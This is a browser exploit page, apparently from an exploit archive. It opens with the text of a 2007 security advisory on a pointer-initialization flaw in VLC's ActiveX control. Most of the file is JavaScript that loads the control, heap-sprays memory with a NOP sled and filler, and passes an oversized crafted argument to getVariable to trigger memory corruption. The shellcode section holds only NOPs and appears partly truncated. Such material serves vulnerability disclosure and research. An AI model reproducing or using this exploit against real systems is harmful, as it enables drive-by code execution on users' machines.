477bcbdcc0
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68 lines
2 KiB
HTML
Executable file
68 lines
2 KiB
HTML
Executable file
<!--
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Core Security Technologiess - CoreLabs Advisory
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http://www.coresecurity.com/corelabs
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VLC Activex Bad Pointer Initialization Vulnerability
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*Advisory Information*
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Title: VLC Activex Bad Pointer Initialization Vulnerability
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Advisory ID: CORE-2007-1004
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Advisory URL: http://www.coresecurity.com/?action=item&id=2035
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Date published: 2007-12-04
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Date of last update: 2007-12-03
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Vendors contacted: VLC
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Release mode: Coordinated Release
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*Vulnerability Description*
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VLC player is a popular multimedia player for various audio and video
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formats, and various streaming protocols.
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A vulnerability has been found in the ActiveX control DLL (axvlc.dll)
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used by VLC player. This library contains three methods whose parameters
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are not correctly checked, and may produce a bad initialized pointer. By
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providing these functions specially crafted parameters, an attacker can
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overwrite memory zones and execute arbitrary code.
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*Vulnerable packages*
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VLC media player version 0.86, 0.86a, 0.86b y 0.86c.
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-->
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<html>
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<head>
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<object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8'
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id='target' ></object>
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</head>
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<body>
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<script>
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var mm = null;
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if( target != null )
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{
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var param1 = unescape("%u0505%u0505");
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var salame = "defaultV";
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var salame2 = 1;
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var salame3 = 0;
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ag = unescape("%uCCCC%uCCCC");
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sh =
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unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%");
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sz = sh.length * 2;
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npsz = 0x400000 - (sz + 0x38);
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nps = unescape("%u0505%u0505");
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while(nps.length * 2 < npsz) nps += nps;
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ihbc = (0x0E000000 - 0x400000) / 0x400000;
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mm = new Array();
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for(i = 0; i <= ihbc; i++) mm[i] = nps + sh;
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for(var i=0;i<2000;i++)
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param1 = param1 + unescape("%u0505%u0505");
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target.getVariable (param1);
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}
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</script>
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</body>
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</html>
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# milw0rm.com [2007-12-04]
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